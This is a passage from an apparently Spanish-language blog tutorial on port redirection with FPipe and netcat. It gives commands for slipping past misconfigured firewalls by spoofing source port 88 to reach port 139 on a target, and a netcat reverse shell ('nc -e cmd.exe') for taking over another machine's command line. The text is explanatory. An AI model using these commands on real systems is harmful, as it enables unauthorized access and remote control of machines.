d:\Tools\fpipe>fpipe –l 9080 xxx.com –r 80
De este modo, le estaremos indicando a “FPipe”, que escuche en el puerto local (-l)
9080 y redireccione su actividad a barrapunto.com en el puerto remoto (-r) 80. Una vez
que demos “Enter”, la consola quedará a la espera de conexiones (Figura 6) lista para
anunciar cualquier actividad entre los puertos e IPs intervinientes en las posibles
conexiones.
Para demostrar esto, deberemos lanzar nuevamente nuestro browser apuntando a:
http://localhost:9080 y si todo ha salido como esperamos deberíamos aparecer en el sitio
de http://xxx.com y nuestra ventana de comando debería mostrar las
direcciones entrantes y salientes respecto de nuestra redirección.
Es que por medio de su utilización,
muchas veces nos será posible atravesar firewalls mal configurados, por medio de
trucos como este:
Saltando firewall con fpipe:
d:\Tools\fpipe>fpipe –l 139 –s 88 www.target.com –r 139
Esta redirección, hará que el servidor objetivo, reciba tráfico al puerto 139, debido a que
las reglas mal configuradas sobre el firewall dispuesto delante del mismo, dejaran pasar
tráfico proveniente del puerto 88 (IPSec / Kerberos, etc) el cual considerarán lícito.
http://www.foundstone.com/us/resources-free-tools.asp
Con netcat en ocasiones tambien es psoible nat, firewalls, etc, ejemplo de tomar la linea de comandos de otra maquna por medio de conexion inversa:
client
c:\> nc -l -p 80
natted host
c:\> nc -e cmd.exe ip. 80
En este mismo blog ya hemos tratado el tema de netcat.